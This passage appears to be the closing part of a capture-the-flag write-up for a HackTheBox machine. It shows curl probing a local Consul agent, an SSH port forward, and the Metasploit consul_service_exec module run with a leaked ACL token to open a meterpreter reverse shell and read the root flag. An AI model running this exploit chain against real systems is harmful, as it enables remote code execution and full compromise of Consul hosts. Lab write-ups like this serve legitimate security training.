* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8500 (#0)
> GET /ui/ HTTP/1.1
> Host: 127.0.0.1:8500
> User-Agent: curl/7.68.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 404 Not Found
< Date: Sat, 22 Oct 2022 17:28:31 GMT
< Content-Length: 88
< Content-Type: text/plain; charset=utf-8
< 
Invalid URL path: if attempting to use the HTTP API, ensure the path starts with '/v1/'
* Connection #0 to host 127.0.0.1 left intact
developer@ambassador:/opt/my-app/whackywidget$ curl "http://127.0.0.1:8500/" -v
*   Trying 127.0.0.1:8500...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8500 (#0)
> GET / HTTP/1.1
> Host: 127.0.0.1:8500
> User-Agent: curl/7.68.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Sat, 22 Oct 2022 17:28:37 GMT
< Content-Length: 104
< Content-Type: text/plain; charset=utf-8
< 
* Connection #0 to host 127.0.0.1 left intact
Consul Agent: UI disabled. To enable, set ui_config.enabled=true in the agent configuration and restart.

To carry out the attack from my machine, however, I need to perform a local port forward.

┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox]
└─$ ssh [email protected] -L 8500:127.0.0.1:8500 
[email protected]'s password: 

At this point, all we have to do is carry out the attack with the metasploit framework. Remember to apply the token found in the git repository.

msf6 > use exploit/multi/misc/consul_service_exec
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/misc/consul_service_exec) > options 

Module options (exploit/multi/misc/consul_service_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   ACL_TOKEN                   no        Consul Agent ACL token
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT      8500             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       The base path
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux


msf6 exploit(multi/misc/consul_service_exec) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(multi/misc/consul_service_exec) > set lhost 10.10.14.17
lhost => 10.10.14.17
msf6 exploit(multi/misc/consul_service_exec) > set ACL_TOKEN bb03b43b-1d81-d62b-24b5-39540ee469b5
ACL_TOKEN => bb03b43b-1d81-d62b-24b5-39540ee469b5
msf6 exploit(multi/misc/consul_service_exec) > exploit

[*] Started reverse TCP handler on 10.10.14.17:4444 
[*] Creating service 'vVpYMSnom'
[*] Service 'vVpYMSnom' successfully created.
[*] Waiting for service 'vVpYMSnom' script to trigger
[*] Sending stage (1017704 bytes) to 10.10.11.183
[*] Meterpreter session 1 opened (10.10.14.17:4444 -> 10.10.11.183:49344) at 2022-10-22 20:35:39 +0200
[*] Removing service 'vVpYMSnom'
[*] Command Stager progress - 100.00% done (763/763 bytes)

meterpreter > cat root/root.txt
2******************************7

And that's all, folks. Thanks for reading. Enjoy your hacking, ops, and pen-testing activities, and have a nice day. See you in the next BOX. Bye!